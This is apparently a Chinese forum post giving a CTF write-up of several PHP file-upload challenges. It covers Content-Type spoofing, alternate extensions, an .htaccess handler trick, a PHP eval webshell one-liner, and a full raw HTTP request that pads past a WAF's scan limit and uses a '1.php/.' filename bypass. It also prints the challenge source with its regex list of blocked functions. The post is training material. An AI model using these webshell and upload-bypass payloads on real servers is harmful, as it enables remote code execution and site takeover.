文件上传标题练习

打印 上一主题 下一主题

主题 1808|帖子 1808|积分 5424

标题练习

[SWPUCTF 2021 新生赛]easyupload1.0

   MIME(Content-Type)绕过
  限制了Content-Type,修改为Content-Type: image/jpeg即可
写入的一句话木马
  1. <?php @eval($_REQUEST['1']);?>
复制代码
获取flag:
查看phpinfo中的情况变量,这里利用蚁剑连接查找里面的flag是假的

[SWPUCTF 2021 新生赛]easyupload2.0

   文件后缀名绕过
  限制了文件后缀名,将.php后缀修改为.pht、.phtm、.phtml等都可以绕过
一句话木马同上,然后利用蚁剑进行连接
[SWPUCTF 2021 新生赛]easyupload3.0

   .htaccess绕过
  上传一个.htaccess
  1. <FilesMatch "jpg">
  2.   SetHandler application/x-httpd-php
  3. </FilesMatch>
复制代码
再上传一个.jpg后缀的木马之后连接即可。
[强网杯 2019]upload

蜀道山2024奶龙牌WAF

   添加大量垃圾字符绕过
  给了源码
  1. <?php
  2. if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['upload_file'])) {
  3.     $file = $_FILES['upload_file'];
  4.     if ($file['error'] === UPLOAD_ERR_OK) {
  5.         $name = isset($_GET['name']) ? $_GET['name'] : basename($file['name']);
  6.         $fileExtension = strtolower(pathinfo($name, PATHINFO_EXTENSION));
  7.         if (strpos($fileExtension, 'ph') !== false || strpos($fileExtension, 'hta') !== false) {
  8.             die("不允许上传此类文件!");
  9.         }
  10.         if ($file['size'] > 2 * 1024 * 1024) {
  11.             die("文件大小超过限制!");
  12.         }
  13.         $file_content = file_get_contents($file['tmp_name'], false, null, 0, 5000);
  14.         $dangerous_patterns = [
  15.             '/<\?php/i',
  16.             '/<\?=/',
  17.             '/<\?xml/',
  18.             '/\b(eval|base64_decode|exec|shell_exec|system|passthru|proc_open|popen|php:\/\/filter|php_value|auto_append_file|auto_prepend_file|include_path|AddType)\b/i',
  19.             '/\b(select|insert|update|delete|drop|union|from|where|having|like|into|table|set|values)\b/i',
  20.             '/--\s/',
  21.             '/\/\*\s.*\*\//',
  22.             '/#/',
  23.             '/<script\b.*?>.*?<\/script>/is',
  24.             '/javascript:/i',
  25.             '/on\w+\s*=\s*["\'].*["\']/i',
  26.             '/[\<\>\'"\\\`\;\=]/',
  27.             '/%[0-9a-fA-F]{2}/',
  28.             '/&#[0-9]{1,5};/',
  29.             '/&#x[0-9a-fA-F]+;/',
  30.             '/system\(/i',
  31.             '/exec\(/i',
  32.             '/passthru\(/i',
  33.             '/shell_exec\(/i',
  34.             '/file_get_contents\(/i',
  35.             '/fopen\(/i',
  36.             '/file_put_contents\(/i',
  37.             '/%u[0-9A-F]{4}/i',
  38.             '/[^\x00-\x7F]/',
  39.             // 检测路径穿越
  40.             '/\.\.\//',
  41.         ];
  42.         foreach ($dangerous_patterns as $pattern) {
  43.             if (preg_match($pattern, $file_content)) {
  44.                 die("内容包含危险字符,上传被奶龙拦截!");
  45.             }
  46.         }
  47.         $upload_dir = 'uploads/';
  48.         if (!file_exists($upload_dir)) {
  49.             mkdir($upload_dir, 0777, true);
  50.         }
  51.         $new_file_name = $upload_dir . $name;
  52.         print($_FILES['upload_file']);
  53.         if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $new_file_name)) {
  54.             echo "文件上传成功!";
  55.         } else {
  56.             echo "文件保存失败!";
  57.         }
  58.     } else {
  59.         echo "文件上传失败,错误代码:" . $file['error'];
  60.     }
  61. } else {
  62.     ?>
  63.     <!-- 文件上传表单 -->
  64.     <!DOCTYPE html>
  65.     <html lang="zh-CN">
  66.     <div class="upload-container">
  67.         <h2>你能逃出奶龙的WAF吗?</h2>
  68.         <form action="" method="POST" enctype="multipart/form-data">
  69.             <label for="upload_file" class="custom-file-upload">选择文件</label>
  70.             <input type="file" name="upload_file" id="upload_file" class="file-input">
  71.             <input type="submit" value="上传文件" class="submit-btn">
  72.         </form>
  73.     </div>
  74.     <script>
  75.         document.querySelector('.custom-file-upload').addEventListener('click', function() {
  76.             document.getElementById('upload_file').click();
  77.         });
  78.     </script>
  79.     </body>
  80.     </html>
  81.     <?php
  82. }
  83. ?>
复制代码
漏洞利用点1:
  1. $name = isset($_GET['name']) ? $_GET['name'] : basename($file['name']);
  2.         $fileExtension = strtolower(pathinfo($name, PATHINFO_EXTENSION));
  3.         if (strpos($fileExtension, 'ph') !== false || strpos($fileExtension, 'hta') !== false) {
  4.             die("不允许上传此类文件!");
  5.         }
复制代码
这段代码获取文件的拓展名,并过滤了ph和hta。
这里可以思考一下让拓展名以后移,比方:1.php.abc
漏洞利用点2:
  1. if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $new_file_name)) {
  2.             echo "文件上传成功!";
  3.         }
复制代码
move_uploaded_file函数是php的一个内置函数,用于将上传的文件从暂时目次移动到指定的目次中。
   当move_uploaded_file函数的参数可控时,可以尝试/.绕过,因为该函数会忽略掉文件末尾的/.
  因此可以构造save_path=1.php/. 如许file_text的值为空,就可以绕过黑名单,而且move_uploaded_file函数会忽略掉文件末尾的/. 实现保存文件为1.php
  绕过方式:
  1. $file_content = file_get_contents($file['tmp_name'], false, null, 0, 5000);
复制代码
因为只读取前5000字节进行校验,可以在一句话木马前面加上脏数据
  1. foreach ($dangerous_patterns as $pattern) {
  2.             if (preg_match($pattern, $file_content)) {
  3.                 die("内容包含危险字符,上传被奶龙拦截!");
  4.             }
  5.         }
复制代码
这里的preg_match函数也可以利用PCRE回溯次数限制来绕过
而且注意文件名称由下面这段代码决定
  1. $name = isset($_GET['name']) ? $_GET['name'] : basename($file['name']);
复制代码
payload数据包:
  1. POST /?name=1.php/. HTTP/1.1Host: gz.imxbt.cn:20116User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflate, brContent-Type: multipart/form-data; boundary=---------------------------3963895074739992901366514230Content-Length: 5770Origin: http://gz.imxbt.cn:20116Connection: closeReferer: http://gz.imxbt.cn:20116/Upgrade-Insecure-Requests: 1Priority: u=0, i-----------------------------3963895074739992901366514230Content-Disposition: form-data; name="upload_file"; filename="1.php/."Content-Type: application/octet-stream1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111<?php @eval($_REQUEST['1']);?>
  2. -----------------------------3963895074739992901366514230--
复制代码
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

正序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

去皮卡多

论坛元老
这个人很懒什么都没写!
快速回复 返回顶部 返回列表